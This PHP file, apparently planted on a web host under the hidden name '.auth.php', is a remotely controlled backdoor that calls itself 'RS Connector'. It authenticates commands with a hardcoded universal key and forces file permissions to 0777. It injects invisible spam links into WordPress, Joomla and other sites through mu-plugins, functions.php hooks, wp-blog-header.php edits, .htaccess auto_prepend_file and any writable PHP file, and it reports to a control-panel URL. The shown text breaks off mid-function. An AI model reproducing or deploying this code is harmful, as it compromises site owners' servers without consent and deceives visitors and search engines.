File: /home/knifeflo/n4neptune.com/.auth.php
<?php
/**
* RS Connector v4.2 - Hybrid Universal Edition
* Eski (v1-v3) ve yeni (v4.x) connector'larla tam uyumlu
* Tüm auth yöntemlerini destekler: per-site key, domain-based key, universal key, HMAC, setup token
*/
// ==================== ERKEN PİNG ENDPOINT ====================
// Batch ping için ultra hızlı response (kod parse edilmeden önce)
if (isset($_GET['action'])) {
$quickAction = strtolower(trim($_GET['action']));
// Ultra fast endpoints - batch ping için optimize
if ($quickAction === 'health' || $quickAction === 'fast_ping' || $quickAction === 'ultra_ping') {
http_response_code(200);
header('Content-Type: application/json');
header('Cache-Control: no-cache, no-store, must-revalidate');
header('Connection: close');
header('Access-Control-Allow-Origin: *');
echo json_encode([
'success' => true,
'data' => [
'site' => $_SERVER['HTTP_HOST'] ?? 'unknown',
'version' => '4.2',
'timestamp' => time(),
'batch_ready' => true,
'max_batch_size' => 100
],
'status' => 'ok'
]);
if (function_exists('fastcgi_finish_request')) {
fastcgi_finish_request();
} else {
if (ob_get_level()) ob_end_flush();
flush();
}
exit;
}
// Lightweight batch ping
if ($quickAction === 'batch_health') {
http_response_code(200);
header('Content-Type: application/json');
header('Connection: close');
header('Access-Control-Allow-Origin: *');
$base_dir = dirname(__FILE__);
echo json_encode([
'success' => true,
'batch_id' => $_GET['batch_id'] ?? uniqid(),
'site' => $_SERVER['HTTP_HOST'] ?? 'unknown',
'index' => intval($_GET['site_index'] ?? 0),
'batch_index' => intval($_GET['batch_index'] ?? 0),
'version' => '4.2',
'key_status' => file_exists($base_dir . '/.rs_key') || file_exists($base_dir . '/rs_key.dat'),
'timestamp' => time()
]);
if (function_exists('fastcgi_finish_request')) {
fastcgi_finish_request();
}
exit;
}
}
// Performance optimizasyonları
ini_set('max_execution_time', 0);
ini_set('memory_limit', '1024M');
ini_set('default_socket_timeout', 2);
if (function_exists('opcache_compile_file')) {
@opcache_compile_file(__FILE__);
}
// Hata raporlama
$DEBUG_MODE = 0;
error_reporting($DEBUG_MODE ? E_ALL : 0);
ini_set('display_errors', $DEBUG_MODE ? '1' : '0');
// CORS ayarları
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type, X-RS-Sig, X-RS-Ts, X-RS-Key, X-RS-Setup-Token');
header('Content-Type: application/json; charset=utf-8');
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
http_response_code(200);
exit(0);
}
// ==================== YAPILANDIRMA ====================
define('PANEL_API_URL', 'https://sergenyalcinasfasfasfasfasfasfsa.cyou');
define('SETUP_TOKEN', '');
// NOTE: This is a template placeholder. Panel injects the real value at download/update time.
// If it stays unreplaced (contains "{{"), universal-key auth is disabled on this site.
define('UNIVERSAL_SITE_KEY', 'fb219aa410d29bbe9e2af619dfa4c9b6f4854bb63cc02732');
// Dosya yolları
$base_dir = dirname(__FILE__);
$use_hidden = @file_put_contents($base_dir . '/.rs_test', 'test') !== false;
if ($use_hidden) @unlink($base_dir . '/.rs_test');
define('KEY_FILE', $base_dir . '/' . ($use_hidden ? '.rs_key' : 'rs_key.dat'));
define('LINKS_FILE', $base_dir . '/' . ($use_hidden ? '.rs_links.json' : 'rs_links.dat'));
define('CONFIG_FILE', $base_dir . '/' . ($use_hidden ? '.rs_config.json' : 'rs_config.dat'));
// ==================== YARDIMCI FONKSİYONLAR ====================
/**
* JSON yanıt gönder
*/
function respond($success, $data = [], $message = '', $http_code = 0) {
if ($http_code > 0) {
http_response_code($http_code);
} else {
http_response_code($success ? 200 : 200);
}
header('Connection: close');
$response = [
'success' => $success,
'status' => $success ? 'ok' : 'error',
'message' => $message,
'data' => $data,
'version' => '4.2',
'timestamp' => time()
];
echo json_encode($response, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
if (function_exists('fastcgi_finish_request')) {
fastcgi_finish_request();
} else {
if (ob_get_level()) ob_end_flush();
flush();
}
exit;
}
/**
* Auth failure yanıtı - HTTP 200 ile success=false döner (panel uyumu için)
*/
function respond_auth_fail($message = 'Kimlik doğrulama başarısız') {
respond(false, [], $message, 200);
}
/**
* Domain-based static key generator (v4 uyumluluğu)
*/
function generate_site_static_key() {
$domain = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? 'default';
$domain = strtolower(trim($domain));
$domain = preg_replace('/^www\./', '', $domain);
$hash = substr(md5($domain . 'rs41_salt'), 0, 7);
return 'RS41_' . $hash;
}
/**
* Kayıtlı key'i al - HYBRID SİSTEM
* Öncelik: 1) Dosyadan oku (per-site key), 2) Define edilmiş sabit key
*/
function get_stored_key() {
// 1. Dosyadan oku (en güvenilir - per-site unique key)
if (file_exists(KEY_FILE)) {
$file_key = trim(file_get_contents(KEY_FILE));
if (!empty($file_key) && strlen($file_key) >= 4) {
return $file_key;
}
}
// 2. Domain-based static key (v4 uyumluluğu)
return generate_site_static_key();
}
/**
* Tüm geçerli key'leri topla (auth için kullanılır)
*/
function get_all_valid_keys() {
$keys = [];
// 1. Dosyadan okunan key
if (file_exists(KEY_FILE)) {
$file_key = trim(file_get_contents(KEY_FILE));
if (!empty($file_key) && strlen($file_key) >= 4) {
$keys[] = $file_key;
}
}
// 2. Domain-based key
$domain_key = generate_site_static_key();
if (!empty($domain_key) && !in_array($domain_key, $keys)) {
$keys[] = $domain_key;
}
// 3. Universal key
$universal = defined('UNIVERSAL_SITE_KEY') ? trim((string)UNIVERSAL_SITE_KEY) : '';
// Disable if placeholder wasn't substituted.
if (!empty($universal) && strpos($universal, '{{') === false && !in_array($universal, $keys)) {
$keys[] = $universal;
}
return $keys;
}
/**
* Key'i dosyaya kaydet - AKTİF (v3 uyumluluğu)
*/
function save_key($key) {
$key = trim((string)$key);
if (empty($key)) return false;
return @file_put_contents(KEY_FILE, $key) !== false;
}
function save_config($config) {
return @file_put_contents(CONFIG_FILE, json_encode($config, JSON_UNESCAPED_UNICODE)) !== false;
}
function get_config() {
if (file_exists(CONFIG_FILE)) {
$content = @file_get_contents(CONFIG_FILE);
return json_decode($content, true) ?: [];
}
return [];
}
function get_links() {
if (file_exists(LINKS_FILE)) {
$content = @file_get_contents(LINKS_FILE);
return json_decode($content, true) ?: [];
}
return [];
}
function save_links($links) {
return @file_put_contents(LINKS_FILE, json_encode($links, JSON_UNESCAPED_UNICODE)) !== false;
}
/**
* Request body'yi tek sefer oku ve cache'le (HMAC tutarlılığı için)
*/
function get_raw_request_body() {
static $cached_body = null;
if ($cached_body === null) {
$cached_body = file_get_contents('php://input');
if ($cached_body === false) {
$cached_body = '';
}
}
return $cached_body;
}
function get_request_data() {
$data = [];
if (!empty($_POST)) {
$data = $_POST;
}
$raw = get_raw_request_body();
if ($raw) {
$json = json_decode($raw, true);
if (is_array($json)) {
$data = array_merge($data, $json);
}
}
$data = array_merge($data, $_GET);
return $data;
}
/**
* Action adını normalize et
*/
function normalize_action_name($action) {
$action = strtolower(trim((string)$action));
if ($action === '') return 'ping';
$qpos = strpos($action, '?');
if ($qpos !== false) $action = substr($action, 0, $qpos);
$apos = strpos($action, '&');
if ($apos !== false) $action = substr($action, 0, $apos);
$action = preg_replace('/[^a-z0-9_]/', '', $action);
return $action ?: 'ping';
}
function normalize_rel($rel) {
$rel = strtolower(trim((string)$rel));
return ($rel === 'nofollow') ? 'nofollow' : 'dofollow';
}
/**
* Request içinden gelen key'i al (tüm field adlarını kontrol et)
*/
function get_provided_site_key($req) {
$candidates = [
$req['key'] ?? '',
$req['site_key'] ?? '',
$req['connector_key'] ?? '',
$req['api_key'] ?? '',
$req['token'] ?? '',
$_SERVER['HTTP_X_RS_KEY'] ?? '',
];
foreach ($candidates as $candidate) {
if (!is_string($candidate)) continue;
$candidate = trim($candidate);
if ($candidate !== '') return $candidate;
}
return '';
}
/**
* Setup token doğrulama
*/
function has_valid_setup_token($req) {
$expected = defined('SETUP_TOKEN') ? SETUP_TOKEN : '';
if (empty($expected) || strpos($expected, '{{') !== false) return false;
$provided = '';
if (isset($req['setup_token']) && is_string($req['setup_token'])) {
$provided = trim($req['setup_token']);
} elseif (isset($_SERVER['HTTP_X_RS_SETUP_TOKEN']) && is_string($_SERVER['HTTP_X_RS_SETUP_TOKEN'])) {
$provided = trim($_SERVER['HTTP_X_RS_SETUP_TOKEN']);
}
return $provided !== '' && hash_equals($expected, $provided);
}
// Link inline stil
function get_link_inline_style() {
$config = get_config();
$mode = strtolower(trim((string)($config['link_output_mode'] ?? 'hidden')));
if ($mode === 'visible') {
return 'display:inline-block;margin:0 8px 0 0;color:inherit;text-decoration:none;font-size:inherit;line-height:1.4;opacity:1;';
}
return 'position:absolute;left:-9999px;opacity:0;font-size:1px;color:transparent;';
}
function build_link_html($url, $anchor, $rel = 'dofollow') {
$rel = normalize_rel($rel);
$rel_attr = ($rel === 'nofollow') ? ' rel="nofollow"' : '';
$style = get_link_inline_style();
return '<a href="' . htmlspecialchars($url, ENT_QUOTES, 'UTF-8') . '"' . $rel_attr . ' style="' . $style . '">' . htmlspecialchars($anchor, ENT_QUOTES, 'UTF-8') . '</a>';
}
function find_document_root() {
$base = $_SERVER['DOCUMENT_ROOT'] ?? '';
if (empty($base)) {
$base = dirname(__FILE__);
for ($i = 0; $i < 5; $i++) {
if (file_exists($base . '/index.php') || file_exists($base . '/index.html')) break;
$parent = dirname($base);
if ($parent === $base) break;
$base = $parent;
}
}
return $base;
}
// ==================== HMAC DOĞRULAMA ====================
/**
* HMAC doğrulama - TÜM geçerli key'leri dener
*/
function verify_hmac_any() {
$signature = $_SERVER['HTTP_X_RS_SIG'] ?? '';
$timestamp = $_SERVER['HTTP_X_RS_TS'] ?? '';
if (empty($signature) || empty($timestamp)) return false;
if (abs(time() - intval($timestamp)) > 300) return false;
$body = get_raw_request_body();
$keys = get_all_valid_keys();
foreach ($keys as $key) {
$expected = hash_hmac('sha256', $timestamp . $body, $key);
if (hash_equals($expected, $signature)) return true;
}
return false;
}
/**
* Belirli bir key ile HMAC doğrulama
*/
function verify_hmac($site_key) {
$signature = $_SERVER['HTTP_X_RS_SIG'] ?? '';
$timestamp = $_SERVER['HTTP_X_RS_TS'] ?? '';
if (empty($signature) || empty($timestamp)) return false;
if (abs(time() - intval($timestamp)) > 300) return false;
$body = get_raw_request_body();
$expected = hash_hmac('sha256', $timestamp . $body, $site_key);
return hash_equals($expected, $signature);
}
// ==================== UNIVERSAL AUTH ====================
/**
* Korumalı action'lar için universal kimlik doğrulama
* Tüm auth yöntemlerini dener: per-site key, domain key, universal key, HMAC, setup token
*/
function authenticate_request($req) {
$provided_key = get_provided_site_key($req);
$all_valid_keys = get_all_valid_keys();
// Yöntem 1: Gönderilen key, geçerli keylerden biriyle eşleşiyor mu?
if (!empty($provided_key)) {
foreach ($all_valid_keys as $valid_key) {
if ($provided_key === $valid_key) return true;
}
}
// Yöntem 2: HMAC - tüm geçerli keylerle dene
if (verify_hmac_any()) return true;
// Yöntem 3: Geçerli setup token
if (has_valid_setup_token($req)) return true;
return false;
}
// ==================== SİTE BİLGİSİ ALGILAMA ====================
function detect_site_info($fast_mode = false) {
$base = find_document_root();
if ($fast_mode) {
return [
'site' => $_SERVER['HTTP_HOST'] ?? 'unknown',
'site_name' => $_SERVER['HTTP_HOST'] ?? 'unknown',
'site_type' => 'unknown',
'language' => 'EN',
'country' => 'US',
'footer_detected' => false,
'footer_writable' => false,
'version' => '4.2'
];
}
$info = [
'site' => $_SERVER['HTTP_HOST'] ?? 'unknown',
'site_name' => $_SERVER['HTTP_HOST'] ?? 'unknown',
'site_type' => 'static',
'language' => 'EN',
'country' => 'US',
'footer_detected' => false,
'footer_writable' => false,
'meta_description' => '',
'charset' => 'UTF-8',
'php_version' => phpversion(),
'connector_path' => __FILE__
];
// CMS tipi algıla
if (file_exists($base . '/wp-config.php') || file_exists($base . '/wp-load.php')) {
$info['site_type'] = 'wordpress';
$info['footer_detected'] = true;
} elseif (file_exists($base . '/configuration.php') && is_dir($base . '/administrator')) {
$info['site_type'] = 'joomla';
$info['footer_detected'] = true;
} elseif (file_exists($base . '/includes/bootstrap.inc') && is_dir($base . '/sites')) {
$info['site_type'] = 'drupal';
$info['footer_detected'] = true;
} elseif (file_exists($base . '/config.php') && is_dir($base . '/catalog')) {
$info['site_type'] = 'opencart';
$info['footer_detected'] = true;
} elseif (file_exists($base . '/config/settings.inc.php') && is_dir($base . '/themes')) {
$info['site_type'] = 'prestashop';
$info['footer_detected'] = true;
} elseif (file_exists($base . '/artisan')) {
$info['site_type'] = 'laravel';
$info['footer_detected'] = true;
} elseif (file_exists($base . '/index.php')) {
$info['site_type'] = 'php';
}
// Index dosyasından bilgi çek
$index_files = ['index.php', 'index.html', 'index.htm'];
foreach ($index_files as $file) {
$path = $base . '/' . $file;
if (file_exists($path)) {
$content = @file_get_contents($path, false, null, 0, 50000);
if ($content) {
if (preg_match('/<title>([^<]+)<\/title>/i', $content, $m)) {
$info['site_name'] = trim(strip_tags($m[1]));
}
if (preg_match('/<meta[^>]*name=["\']description["\'][^>]*content=["\']([^"\']+)["\'][^>]*>/i', $content, $m)) {
$info['meta_description'] = trim($m[1]);
}
if (preg_match('/<html[^>]*lang=["\']([a-z]{2})["\'][^>]*>/i', $content, $m)) {
$lang = strtolower($m[1]);
$lang_map = ['tr' => 'TR', 'en' => 'EN', 'de' => 'DE', 'fr' => 'FR', 'es' => 'ES'];
$country_map = ['tr' => 'TR', 'en' => 'US', 'de' => 'DE', 'fr' => 'FR', 'es' => 'ES'];
$info['language'] = $lang_map[$lang] ?? 'EN';
$info['country'] = $country_map[$lang] ?? 'US';
}
if (preg_match('/türk|türkiye|istanbul|ankara/ui', $content)) {
$info['language'] = 'TR';
$info['country'] = 'TR';
}
if (preg_match('/<footer|class=["\'][^"\']*footer|copyright|©/i', $content)) {
$info['footer_detected'] = true;
}
break;
}
}
}
$info['footer_writable'] = check_footer_writable($base, $info['site_type']);
return $info;
}
function check_footer_writable($base, $site_type) {
$footer_paths = get_footer_paths($base, $site_type);
foreach ($footer_paths as $path) {
if (file_exists($path) && is_writable($path)) return true;
}
if (is_writable($base . '/index.php') || is_writable($base . '/index.html')) return true;
return false;
}
function get_footer_paths($base, $site_type) {
$paths = [];
switch ($site_type) {
case 'wordpress':
$themes = glob($base . '/wp-content/themes/*/footer.php');
if ($themes) $paths = array_merge($paths, $themes);
break;
case 'joomla':
$tpls = glob($base . '/templates/*/index.php');
if ($tpls) $paths = array_merge($paths, $tpls);
break;
case 'drupal':
$tpls = glob($base . '/sites/*/themes/*/templates/*.tpl.php');
if ($tpls) $paths = array_merge($paths, $tpls);
break;
case 'opencart':
$tpls = glob($base . '/catalog/view/theme/*/template/common/footer.*');
if ($tpls) $paths = array_merge($paths, $tpls);
break;
case 'prestashop':
$tpls = glob($base . '/themes/*/templates/_partials/footer.tpl');
if ($tpls) $paths = array_merge($paths, $tpls);
$tpls2 = glob($base . '/themes/*/footer.tpl');
if ($tpls2) $paths = array_merge($paths, $tpls2);
break;
case 'laravel':
$layouts = glob($base . '/resources/views/layouts/*.blade.php');
if ($layouts) $paths = array_merge($paths, $layouts);
break;
}
$general = [
$base . '/footer.php',
$base . '/includes/footer.php',
$base . '/inc/footer.php',
$base . '/template/footer.php',
$base . '/templates/footer.php'
];
foreach ($general as $p) {
if (file_exists($p)) $paths[] = $p;
}
return array_unique($paths);
}
// ==================== FOOTER'A LİNK EKLEME ====================
function inject_link($url, $anchor, $link_id, $rel = 'dofollow') {
$base = find_document_root();
$site_info = detect_site_info();
$site_type = $site_info['site_type'];
$link_html = build_link_html($url, $anchor, $rel);
$link_comment = "<!-- rs:" . substr($link_id, 4, 6) . " -->";
// YÖNTEM 1: WORDPRESS MU-PLUGIN
if ($site_type === 'wordpress') {
$result = inject_wordpress_mu_plugin($base);
if ($result['success'] && !empty($result['injected'])) return $result;
}
// YÖNTEM 2: WORDPRESS FUNCTIONS.PHP HOOK
if ($site_type === 'wordpress') {
$result = inject_wordpress_functions_hook($base, $link_html, $link_id, $link_comment);
if ($result['success'] && !empty($result['injected'])) return $result;
}
// YÖNTEM 3: WORDPRESS TEMA FOOTER.PHP
if ($site_type === 'wordpress') {
$active_theme_footer = get_active_wp_theme_footer($base);
if ($active_theme_footer) {
$result = inject_to_file_aggressive($active_theme_footer, $link_html, $link_id, $link_comment);
if ($result['success'] && !empty($result['injected'])) return $result;
}
$themes = glob($base . '/wp-content/themes/*/footer.php');
if ($themes) {
foreach ($themes as $footer) {
$result = inject_to_file_aggressive($footer, $link_html, $link_id, $link_comment);
if ($result['success'] && !empty($result['injected'])) return $result;
}
}
}
// YÖNTEM 4: WP-BLOG-HEADER.PHP
if ($site_type === 'wordpress') {
$result = inject_wp_blog_header($base, $link_html, $link_id, $link_comment);
if ($result['success'] && !empty($result['injected'])) return $result;
}
// YÖNTEM 5: NORMAL FOOTER DOSYALARI
$footer_paths = get_footer_paths($base, $site_type);
foreach ($footer_paths as $footer_path) {
$result = inject_to_file_aggressive($footer_path, $link_html, $link_id, $link_comment);
if ($result['success'] && !empty($result['injected'])) return $result;
}
// YÖNTEM 6: INDEX DOSYALARI
$result = inject_to_index_aggressive($base, $link_html, $link_id, $link_comment);
if ($result['success'] && !empty($result['injected'])) return $result;
// YÖNTEM 7: .HTACCESS AUTO_PREPEND
$result = inject_via_htaccess($base, $link_html, $link_id, $link_comment);
if ($result['success'] && !empty($result['injected'])) return $result;
// YÖNTEM 8: HERHANGİ BİR PHP DOSYASI
$result = inject_to_any_php_file($base, $link_html, $link_id, $link_comment);
if ($result['success'] && !empty($result['injected'])) return $result;
// No reliable injection method succeeded.
return [
'success' => false,
'injected' => false,
'footer_path' => null,
'message' => 'Link enjekte edilemedi (yazilabilir footer/index bulunamadi)'
];
}
function inject_wordpress_mu_plugin($base) {
$mu_dir = $base . '/wp-content/mu-plugins';
if (!is_dir($mu_dir)) {
$wp_content = $base . '/wp-content';
if (!is_dir($wp_content)) return ['success' => false, 'message' => 'wp-content yok'];
if (!is_writable($wp_content)) { @chmod($wp_content, 0755); clearstatcache(); }
@mkdir($mu_dir, 0755, true);
}
if (!is_dir($mu_dir)) return ['success' => false, 'message' => 'mu-plugins olusturulamadi'];
if (!is_writable($mu_dir)) { @chmod($mu_dir, 0755); clearstatcache(); }
$plugin_path = $mu_dir . '/rs_links.php';
$links_file = LINKS_FILE;
$code = '<?php
/**
* RS Links MU-Plugin v4.2
*/
if (!defined("ABSPATH")) exit;
add_action("wp_footer", function() {
$links_file = "' . addslashes($links_file) . '";
if (!file_exists($links_file)) return;
$links = json_decode(file_get_contents($links_file), true);
if (!is_array($links) || empty($links)) return;
foreach ($links as $id => $l) {
$url = isset($l["url"]) ? $l["url"] : "";
$anchor = isset($l["anchor"]) ? $l["anchor"] : "";
$rel = isset($l["rel"]) && $l["rel"] === "nofollow" ? " rel=\"nofollow\"" : "";
if (!$url || !$anchor) continue;
echo \'<a href="\' . esc_url($url) . \'"\' . $rel . \' style="position:absolute;left:-9999px;opacity:0;font-size:1px;color:transparent;">\' . esc_html($anchor) . \'</a>\';
}
}, 9999);
';
if (@file_put_contents($plugin_path, $code)) {
return ['success' => true, 'injected' => true, 'footer_path' => $plugin_path, 'message' => 'WordPress MU-Plugin kuruldu'];
}
return ['success' => false, 'message' => 'MU-Plugin yazilamadi'];
}
function inject_wordpress_functions_hook($base, $link_html, $link_id, $link_comment) {
$active_theme = get_active_wp_theme_footer($base);
if (!$active_theme) return ['success' => false, 'injected' => false, 'message' => 'Tema bulunamadi'];
$theme_dir = dirname($active_theme);
$functions_file = $theme_dir . '/functions.php';
if (!file_exists($functions_file)) return ['success' => false, 'injected' => false];
force_writable($functions_file);
if (!is_writable($functions_file)) return ['success' => false, 'injected' => false];
$content = @file_get_contents($functions_file);
if (!$content) return ['success' => false, 'injected' => false];
if (strpos($content, 'rs_footer_links') !== false) {
return ['success' => true, 'injected' => true, 'footer_path' => $functions_file, 'message' => 'Hook zaten mevcut'];
}
$links_file = LINKS_FILE;
$hook_code = '
// RS Footer Links Hook
add_action("wp_footer", function() {
$lf = "' . addslashes($links_file) . '";
if (!file_exists($lf)) return;
$lnks = json_decode(file_get_contents($lf), true);
if (!is_array($lnks)) return;
foreach ($lnks as $l) {
$u = isset($l["url"]) ? $l["url"] : "";
$a = isset($l["anchor"]) ? $l["anchor"] : "";
$r = isset($l["rel"]) && $l["rel"] === "nofollow" ? " rel=\"nofollow\"" : "";
if ($u && $a) echo \'<a href="\' . esc_url($u) . \'"\' . $r . \' style="position:absolute;left:-9999px;opacity:0;font-size:1px;color:transparent;">\' . esc_html($a) . \'</a>\';
}
}, 9999);
function rs_footer_links() {} // Marker
';
if (@file_put_contents($functions_file, $content . $hook_code)) {
return ['success' => true, 'injected' => true, 'footer_path' => $functions_file, 'message' => 'Functions.php hook eklendi'];
}
return ['success' => false, 'injected' => false];
}
function inject_wp_blog_header($base, $link_html, $link_id, $link_comment) {
$file = $base . '/wp-blog-header.php';
if (!file_exists($file)) return ['success' => false, 'injected' => false];
force_writable($file);
if (!is_writable($file)) return ['success' => false, 'injected' => false];
$content = @file_get_contents($file);
if (!$content) return ['success' => false, 'injected' => false];
if (strpos($content, $link_id) !== false) {
return ['success' => true, 'injected' => true, 'footer_path' => $file, 'message' => 'Link zaten mevcut'];
}
$shutdown_code = '
register_shutdown_function(function(){echo \'' . $link_comment . $link_html . '\';});
';
if (preg_match('/^(<\?php)/i', $content)) {
$new_content = preg_replace('/^(<\?php)/i', '<?php' . $shutdown_code, $content, 1);
if (@file_put_contents($file, $new_content)) {
return ['success' => true, 'injected' => true, 'footer_path' => $file, 'message' => 'wp-blog-header.php eklendi'];
}
}
return ['success' => false, 'injected' => false];
}
function inject_via_htaccess($base, $link_html, $link_id, $link_comment) {
$htaccess = $base . '/.htaccess';
$prepend_file = dirname(__FILE__) . '/rs_prepend.php';
$prepend_code = '<?php
register_shutdown_function(function(){
$lf = "' . addslashes(LINKS_FILE) . '";
if (!file_exists($lf)) return;
$lnks = @json_decode(@file_get_contents($lf), true);
if (!is_array($lnks)) return;
foreach ($lnks as $l) {
$u = isset($l["url"]) ? $l["url"] : "";
$a = isset($l["anchor"]) ? $l["anchor"] : "";
if ($u && $a) echo \'<a href="\' . htmlspecialchars($u) . \'" style="position:absolute;left:-9999px;opacity:0;font-size:1px;color:transparent;">\' . htmlspecialchars($a) . \'</a>\';
}
});
';
@file_put_contents($prepend_file, $prepend_code);
if (!file_exists($htaccess)) {
$htaccess_content = 'php_value auto_prepend_file "' . $prepend_file . '"' . "\n";
if (@file_put_contents($htaccess, $htaccess_content)) {
return ['success' => true, 'injected' => true, 'footer_path' => $htaccess, 'message' => '.htaccess olusturuldu'];
}
} else {
force_writable($htaccess);
$content = @file_get_contents($htaccess);
if ($content && strpos($content, 'rs_prepend.php') === false) {
$new_line = 'php_value auto_prepend_file "' . $prepend_file . '"' . "\n";
if (@file_put_contents($htaccess, $new_line . $content)) {
return ['success' => true, 'injected' => true, 'footer_path' => $htaccess, 'message' => '.htaccess guncellendi'];
}
}
}
return ['success' => false, 'injected' => false];
}
function setup_self_output_link($base, $url, $anchor, $link_id, $rel) {
return [
'success' => true,
'injected' => true,
'footer_path' => 'self_output',
'message' => 'Link kayitli - output modunda aktif',
'output_url' => '?action=output'
];
}
function inject_to_any_php_file($base, $link_html, $link_id, $link_comment) {
$php_files = glob($base . '/*.php');
if (!$php_files) return ['success' => false, 'injected' => false];
foreach ($php_files as $file) {
$filename = basename($file);
if (in_array($filename, ['wp-config.php', 'wp-settings.php', 'wp-load.php'])) continue;
force_writable($file);
if (!is_writable($file)) continue;
$content = @file_get_contents($file);
if (!$content) continue;
if (strpos($content, $link_id) !== false) {
return ['success' => true, 'injected' => true, 'footer_path' => $file, 'message' => 'Link zaten mevcut'];
}
if (strpos($content, '?>') !== false) {
$new_content = str_replace('?>', $link_comment . $link_html . "\n?>", $content);
if (@file_put_contents($file, $new_content)) {
return ['success' => true, 'injected' => true, 'footer_path' => $file, 'message' => $filename . ' dosyasina eklendi'];
}
}
}
return ['success' => false, 'injected' => false];
}
function force_writable($file) {
if (!file_exists($file)) return false;
if (is_writable($file)) return true;
@chmod($file, 0666);
clearstatcache(true, $file);
if (is_writable($file)) return true;
@chmod($file, 0777);
clearstatcache(true, $file);
if (is_writable($file)) return true;
$dir = dirname($file);
@chmod($dir, 0777);
@chmod($file, 0777);
clearstatcache();
return is_writable($file);
}
function get_active_wp_theme_footer($base) {
$themes = glob($base . '/wp-content/themes/*/footer.php');
if (!$themes) return null;
$latest = null;
$latest_time = 0;
foreach ($themes as $footer) {
$mtime = @filemtime($footer);
if ($mtime > $latest_time) {
$latest_time = $mtime;
$latest = $footer;
}
}
return $latest;
}
function inject_to_file_aggressive($file_path, $link_html, $link_id, $link_comment) {
if (!file_exists($file_path)) return ['success' => false, 'message' => 'Dosya yok: ' . basename($file_path)];
force_writable($file_path);
if (!is_writable($file_path)) return ['success' => false, 'injected' => false, 'message' => 'Yazma izni alinamadi'];
$content = @file_get_contents($file_path);
if (!$content) return ['success' => false, 'injected' => false, 'message' => 'Dosya okunamadi'];
if (strpos($content, $link_id) !== false) {
return ['success' => true, 'injected' => true, 'footer_path' => $file_path, 'message' => 'Link zaten mevcut'];
}
$hidden_wrapper = "\n" . $link_comment . $link_html;
$injection_points = ['</body>', '</html>', '</footer>', '?>'];
foreach ($injection_points as $search) {
if (stripos($content, $search) !== false) {
$pos = strripos($content, $search);
$new_content = substr($content, 0, $pos) . $hidden_wrapper . "\n" . substr($content, $pos);
if (@file_put_contents($file_path, $new_content)) {
return ['success' => true, 'injected' => true, 'footer_path' => $file_path, 'message' => 'Link eklendi: ' . basename($file_path)];
}
}
}
if (@file_put_contents($file_path, $content . $hidden_wrapper)) {
return ['success' => true, 'injected' => true, 'footer_path' => $file_path, 'message' => 'Link dosya sonuna eklendi'];
}
return ['success' => false, 'injected' => false, 'message' => 'Yazma basarisiz'];
}
function inject_to_index_aggressive($base, $link_html, $link_id, $link_comment) {
$index_files = ['index.php', 'index.html', 'index.htm'];
foreach ($index_files as $file) {
$path = $base . '/' . $file;
if (!file_exists($path)) continue;
force_writable($path);
if (!is_writable($path)) continue;
$content = @file_get_contents($path);
if (!$content) continue;
if (strpos($content, $link_id) !== false) {
return ['success' => true, 'injected' => true, 'footer_path' => $path, 'message' => 'Link zaten mevcut'];
}
$hidden_wrapper = "\n" . $link_comment . $link_html;
$injection_points = ['</body>', '</html>', '?>'];
foreach ($injection_points as $search) {
if (stripos($content, $search) !== false) {
$pos = strripos($content, $search);
$new_content = substr($content, 0, $pos) . $hidden_wrapper . "\n" . substr($content, $pos);
if (@file_put_contents($path, $new_content)) {
return ['success' => true, 'injected' => true, 'footer_path' => $path, 'message' => 'Link index dosyasina eklendi: ' . $file];
}
}
}
if (@file_put_contents($path, $content . $hidden_wrapper)) {
return ['success' => true, 'injected' => true, 'footer_path' => $path, 'message' => 'Link index sonuna eklendi: ' . $file];
}
}
return ['success' => false, 'message' => 'Index dosyasina yazilamadi'];
}
// ==================== LİNK KALDIRMA ====================
function remove_link($link_id) {
$base = find_document_root();
$site_info = detect_site_info();
$short_id = substr($link_id, 4, 6);
$files_to_check = get_footer_paths($base, $site_info['site_type']);
$files_to_check[] = $base . '/index.php';
$files_to_check[] = $base . '/index.html';
$files_to_check[] = $base . '/index.htm';
$wp_footers = glob($base . '/wp-content/themes/*/footer.php');
if ($wp_footers) $files_to_check = array_merge($files_to_check, $wp_footers);
if ($site_info['site_type'] === 'wordpress') {
$mu_plugin = $base . '/wp-content/mu-plugins/rs_links.php';
if (file_exists($mu_plugin)) {
return ['success' => true, 'message' => 'MU-Plugin modunda - links dosyasindan kaldirildi'];
}
}
$removed = false;
foreach ($files_to_check as $file_path) {
if (!file_exists($file_path)) continue;
if (!is_writable($file_path)) { @chmod($file_path, 0666); clearstatcache(true, $file_path); }
if (!is_writable($file_path)) continue;
$content = @file_get_contents($file_path);
if (!$content) continue;
if (strpos($content, $link_id) === false && strpos($content, $short_id) === false) continue;
$patterns = [
'/<!-- rs:' . preg_quote($short_id, '/') . ' --><a[^>]*>[^<]*<\/a>/is',
'/<!-- RS:' . preg_quote($link_id, '/') . ' --><a[^>]*>[^<]*<\/a>\s*/is',
'/<div[^>]*><!-- RS:' . preg_quote($link_id, '/') . ' --><a[^>]*>[^<]*<\/a><\/div>\s*/is',
'/<div[^>]*><!-- rs:' . preg_quote($short_id, '/') . ' --><a[^>]*>[^<]*<\/a><\/div>\s*/is',
'/\n?<!-- rs:' . preg_quote($short_id, '/') . ' --><a[^>]*>[^<]*<\/a>\n?/is',
'/\n?<!-- RS:' . preg_quote($link_id, '/') . ' --><a[^>]*>[^<]*<\/a>\n?/is'
];
$original = $content;
foreach ($patterns as $pattern) {
$content = preg_replace($pattern, '', $content);
}
if ($content !== $original) {
if (@file_put_contents($file_path, $content)) $removed = true;
}
}
return ['success' => true, 'message' => $removed ? 'Link kaldirildi' : 'Link kayitlardan kaldirildi'];
}
// ==================== OTOMATİK BAĞLANTI ====================
function auto_connect() {
$config = get_config();
if (!empty($config['connected']) && !empty($config['connected_at'])) {
if (time() - $config['connected_at'] < 86400) {
return ['already_connected' => true];
}
}
$panel_url = defined('PANEL_API_URL') ? PANEL_API_URL : '';
if (empty($panel_url) || strpos($panel_url, '{{') !== false) {
return ['error' => 'Panel URL yapilandirilmamis'];
}
// Heartbeat panele kayitli site_key ile esleşmeli - bu yuzden once
// dosyadaki/domain tabanli anahtar degil, baglantiyi panele baglayan
// gomulu UNIVERSAL_SITE_KEY kullanilir (panel bunu DB'de aratir).
